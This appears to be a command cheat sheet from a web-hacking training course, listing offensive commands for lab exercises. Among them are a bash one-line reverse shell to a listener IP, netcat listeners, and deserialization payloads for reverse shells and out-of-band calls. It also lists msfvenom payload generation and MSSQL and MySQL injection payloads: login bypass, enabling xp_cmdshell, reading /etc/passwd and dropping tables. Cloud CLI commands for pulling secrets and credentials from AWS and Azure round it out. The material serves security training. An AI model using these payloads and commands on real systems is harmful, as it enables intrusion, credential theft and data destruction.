

Advanced Web Hacking

Command Cheat Sheet



<https://t.me/learningnets>

Command Cheat Sheet

Useful commands for Web Hacking Black Belt Edition

Note: All the required tools are installed in the path or in the directory /root/tools

Common Commands

<code>\$ burpsuite</code>	Start Burp from command line
<code>\$ sudo tcpdump -n udp port [port no] grep 'subdomain.domain.com'</code>	Start a UDP packet listener
<code>\$ sudo tcpdump -vvv -n port [port no]</code>	Start a packet listener
<code>\$ nc -lnvp <port></code>	Netcat listener
<code>\$ bash -i >& /dev/tcp/<Listener_IP>/<PORT> 0>&1</code>	Bash one-line reverse Shell
<code>\$ vim [filename]</code>	Load the file in vim editor
	Input 'i' to insert text
	Input [esc]:wq to save and quit vim
<code>\$ wget http[s]://website/url</code>	Download a file

Additional commands

<code>./hash_extender --data [data] --secret-min [min-len] --secret-max [max-len] --append [value] --signature [signature] --format [type] --out-data-format [type] --table</code>	Generate hashes of different lengths to perform hash length extension attack
<code>./xxeserv -w</code>	Start XXEServ over HTTP and FTP channel
<code>java -jar [filename.jar]</code>	Execute the jar file
<code>./phpggc -b slim/rce1 <function> <parameter></code>	Creates a payload for PHP Slim framework to execute RCE
<code>git clone [git_url.git]</code>	Download the source from git



<code>mvn clean package -DskipTests</code>	Compile code using maven and package it to jar file
--	---

Python Commands

<code>python pythonserv.py / pythonserv</code>	Runs the pythonserv script
<code>python3 brute-jwt.py --file (Dictionary path) --algorithm (algorithm type) --token (token string)</code>	Runs the brute-jwt script along with its parameters
Python2: <code>python -m SimpleHTTPServer [port no]</code> Python3: <code>python3 -m http.server [port no]</code>	Starts a webserver on specified port number.
Python3: <code>aws_enum.py --access-key (Key) --secret-key (Secret Key) --session-token (Token Value) --region (Region)</code>	Runs an AWS script and gives access details over a cloud instance.
Python3: <code>coupon.py (MobileCarrier) (Discount)</code>	Runs discount coupon script
Python3: <code>coupon_request_sig.py (coupon.txt) (id)</code>	Creates signatures for discount coupons
Python3: <code>python_deser_oob.py <userdomain></code>	Creates a python serialized payload for making an OOB call to a specified domain.
Python3: <code>python_deser_shell.py</code>	Creates a python serialized payload for reverse shell.
<code>python3 GeneratePayload.py [command] [dict_file]</code>	Create a python serialized payload in dictionary file.
<code>python3 ExecutePaylaod.py <plex_server_url:port> [myPlexToken] [dict_file]</code>	Exploit the python serialization to execute the command generated using "GeneratePayload.py"

NMAP

<code># nmap -sV -A -p- -nvvv [host]</code>	Full Port, no DNS, basic scripts, version finger print and verbose
<code># nmap -iL <infile> -oA <outfile> [host]</code>	Input and output files

<code># nmap -p88 --script=<scriptname> --script-args arg1='value' [host]</code>	Nmap scripts with arguments
--	-----------------------------

Metasploit

<code># msfconsole</code>	Launch Metasploit console
<code>> use <module_name></code>	Use an exploit / auxiliary
<code>> set <parameter_name> <parameter_value></code>	Set parameters
<code>> set payload <payload_name></code>	Set payload
<code>> run/exploit</code>	Execute module
<code># msfconsole -x "use <module_name>; set <parameter_name> <parameter_value>; run; exit"</code>	Run a module without going into console
<code># msfvenom -p <payload_name> LHOST=<local_host_IP> LPORT=<local_port> -f <file_format> > filename.extention</code>	Generate a payload using msfvenom

ENCODE/DECODE Commands

<code>\$ echo "test" base64</code>	Encode → Text to Base64
<code>\$ echo "<HEX>" xxd -r -p</code>	Encode → Hex to Bytes
<code>\$ echo "<base64data>" base64 -d</code>	Decode → Base64 to Bytes
<code>\$ echo "<Bytes>" xxd -p</code>	Decode → Bytes to Hex

Commonly Used Out Of Band (OOB) Commands

<code>> ping <IP/Domain></code>	ICMP/DNS Request
<code>> nslookup <Domain></code>	DNS Request
<code>> nslookup <Domain> <Resolver_IP></code>	DNS Request via Specific Resolver
<code>> nc/ncat <IP> <Port></code>	Send a TCP/UDP request using Netcat/Ncat
<code>> certutil -urlcache -split -f <URL></code>	Send a HTTP/HTTPS request using certutil [Windows Only]

> powershell Invoke-WebRequest -Uri <URL>	Send a HTTP/HTTPS request using powershell [Windows Only]
---	---

Commonly Used SQL Injection Payloads (MSSQL Server)

> 1' or '1'='1' --	Authentication bypass
> ' waitfor delay '0:0:10' --	Sleep for 10 seconds
> ' UNION SELECT NULL, TABLE_NAME, NULL FROM information_schema.TABLES--	Extract table names
> ';exec master..xp_dirtree '\\userX.webhacklab.com\' --	Execute an OOB call to the mentioned target (stacked query)
> ';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --	Enable xp_cmdshell (stacked query)
> ';exec master..xp_cmdshell '(Windows Terminal Com)' --	Execute terminal command via xp_cmdshell (stacked query)

Commonly Used SQL Injection Payloads (MYSQL Server)

> 1' OR '1'='1' #	Authentication bypass
> ' UNION ALL SELECT LOAD_FILE('/etc/passwd') #	Read contents of a File
> -@@version > UNION ALL SELECT NULL, version() #	MYSQL Server version Details
> AND sleep(10) #	Sleep for 10 seconds
>2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2	Time Based Injection incase DB version matches '5'
> DROP sampletable;#	Drops table from DB (dangerous)

Commonly used Cloud CLI Commands (AWS, AZURE)

<code>> aws s3 ls</code>	List S3 Buckets
<code>> aws s3 cp <source> <destination> --recursive</code>	Recursive Copy s3 Buckets
<code>> az storage share exists --account-name (account name) --account-key (account key) --name (name)</code>	Verifies and tells if there is a storage server share available.
<code>>az storage file download-batch --account-name (Account name) --account-key (Account Key) --destination (destination path) --source (source name) --no-progress</code>	Downloads the files from the storage space to local path.
<code>>aws cognito-idp sign-up --client-id (client id) --username (username) --password (password) --user-attributes Name="email",Value="(emailid)" Name="name",Value="(name)"</code>	Registers a user via cognito-idp with the mentioned details.
<code>>aws cognito-idp confirm-sign-up --client-id (clientid) --username=(username) --confirmation-code (code)</code>	Sends the registration code to activate the cognito-idp user.
<code>>aws secretsmanager list-secrets</code>	Lists aws secretmanager secrets
<code>>aws cognito-identity get-id --identity-pool-id (identity pool id) --logins (IdentityPoolName)=(IdToken))</code>	Generates an authenticated Cognito identity
<code>>aws cognito-identity get-credentials-for-identity --identity-id (IdentityID) --logins (IdentityPoolName)=(Id Token)</code>	Creates temporary AWS credentials
<code>>aws secretsmanager get-secret-value --secret-id (secretid)</code>	Fetches the details of the mentioned secret id via secret manager

Commonly used Sqlmap Commands

<code>sqlmap -r (Request file) --dbms (Database type) - -second-order (path to look as payload reflection point) --dbs</code>	Sqlmap command to test for second order SQL injection
---	---



```
sqlmap -r (Request file) --eval=(Eval script) --  
dbs --batch
```

Sqlmap command to edit a value corresponding to a request at runtime.